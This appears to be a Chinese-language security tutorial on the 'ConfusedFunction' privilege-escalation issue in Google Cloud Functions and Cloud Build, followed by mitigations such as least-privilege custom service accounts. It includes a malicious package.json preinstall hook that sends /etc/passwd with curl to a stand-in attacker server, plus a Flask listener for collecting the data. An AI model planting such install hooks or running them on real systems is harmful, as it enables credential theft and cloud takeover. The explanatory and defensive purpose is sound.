Google云平台(GCP)的Cloud Functions是无服务器计算服务,能根据事件自动执行代码,比如HTTP请求或数据变动。近期安全研究发现,Cloud Functions与Cloud Build服务存在一个严重漏洞,攻击者可借此提升权限,执行恶意代码。本文用最简单的语言介绍该漏洞的原理、攻击过程、影响及防护措施,并附上示例代码,帮助大家快速理解和防御。
1. 基础知识介绍
什么是Cloud Functions和Cloud Build?
- Cloud Functions:一种无服务器计算服务,用户上传代码,系统自动运行,无需管理服务器。
- Cloud Build:自动构建和部署代码的CI/CD服务,Cloud Functions部署时会调用它。
漏洞核心点
当用户创建或更新Cloud Function时,GCP后台会自动启动一个Cloud Build实例来构建和部署代码。这个过程中,系统会自动给Cloud Build实例分配一个默认的Cloud Build服务账号(Service Account,简称SA) ,该账号权限过大。
攻击者如果能创建或更新Cloud Function,就能利用这个部署过程,通过注入恶意代码,获取这个高权限服务账号的访问令牌,从而在云环境中横向移动或提升权限。
2. 攻击原理简述
攻击者利用Cloud Function部署时执行的package.json文件中的preinstall脚本,注入恶意命令。部署时,这些命令会自动执行,攻击者可以:
- 读取云环境敏感信息(如操作系统版本、用户权限、网络配置等)
- 获取Cloud Build服务账号的访问令牌
- 发送数据到攻击者控制的服务器,实现数据泄露
攻击流程示意
- 攻击者创建或更新一个Cloud Function,修改其中的
package.json,加入恶意preinstall脚本。 - 部署Cloud Function时,Cloud Build执行
preinstall脚本,运行恶意命令。 - 恶意命令获取服务账号令牌或系统信息,发送到攻击者服务器。
- 攻击者利用令牌进行权限提升或进一步攻击。
3. 典型恶意package.json示例
{
"name": "malicious-package",
"version": "1.0.0",
"scripts": {
"preinstall": "curl -X POST -d "$(cat /etc/passwd)" https://attacker-server.com/collect"
}
}
preinstall脚本会在包安装前执行。- 这里的命令读取了Linux系统的
/etc/passwd文件(包含用户信息),并通过HTTP POST发送到攻击者服务器。
4. 实战演示:如何利用该漏洞(简化版)
假设你有权限创建或更新Cloud Function,攻击步骤如下:
环境准备
- 在GCP上创建一个Cloud Function,使用Node.js环境。
- 修改
package.json,加入恶意preinstall脚本。
部署命令示例
gcloud functions deploy myFunction --runtime nodejs20 --trigger-http --entry-point=myFunction
部署时,Cloud Build会执行package.json中的脚本,恶意代码被执行。
服务器端接收数据示例(Python)
from flask import Flask, request
app = Flask(__name__)
@app.route('/collect', methods=['POST'])
def collect():
data = request.data.decode('utf-8')
print("Received data:", data)
return "OK", 200
if __name__ == '__main__':
app.run(port=5000)
攻击者启动此服务器接收被窃取的数据。
5. 影响范围
- 该攻击不仅影响GCP Cloud Functions,也可在AWS Lambda和Azure Functions等云平台复现。
- 攻击者能获取服务账号权限,访问云资源,窃取敏感数据,甚至控制整个云环境。
- Google已于2024年中旬发布补丁,限制默认Cloud Build服务账号权限,但老实例仍有风险。
6. 防护和缓解措施
1. 最小权限原则(Least Privilege)
- 不要使用默认Cloud Build服务账号,改用权限严格限制的自定义服务账号。
- 定期审计服务账号权限,删除不必要的权限。
2. 访问控制
- 限制谁可以创建或更新Cloud Functions,避免权限滥用。
- 使用IAM角色严格控制访问。
3. 监控和告警
- 监控Cloud Functions的创建和修改操作。
- 设置告警,发现异常行为及时响应。
4. 安全配置和更新
- 确保Cloud Functions和Cloud Build服务使用最新版本。
- 启用自动安全更新。
- 使用Google Cloud的安全工具(如Secret Manager管理敏感信息)。
7. 安全最佳实践示例代码
创建自定义权限最小的服务账号
gcloud iam service-accounts create custom-cloud-build-sa \
--display-name="Custom Cloud Build Service Account"
gcloud projects add-iam-policy-binding my-project \
--member="serviceAccount:custom-cloud-build-sa@my-project.iam.gserviceaccount.com" \
--role="roles/cloudbuild.builds.builder"
部署Cloud Function时指定自定义服务账号
gcloud functions deploy myFunction \
--runtime nodejs20 \
--trigger-http \
--service-account=custom-cloud-build-sa@my-project.iam.gserviceaccount.com
8. 总结
- GCP Cloud Functions存在“ConfusedFunction”漏洞,攻击者能通过修改部署代码执行恶意命令,获取高权限服务账号令牌。
- 该漏洞影响多个云平台,风险广泛。
- Google已发布补丁,但仍需用户主动采取最小权限原则和严格访问控制。
- 监控、告警和安全更新是防止类似攻击的关键。
- 通过合理配置服务账号权限和代码安全审查,能有效降低风险。
通过理解上述内容和示例,您可以更好地保护自己的云环境,避免因服务账号权限过大而导致的严重安全事件。安全无小事,务必落实每一个细节。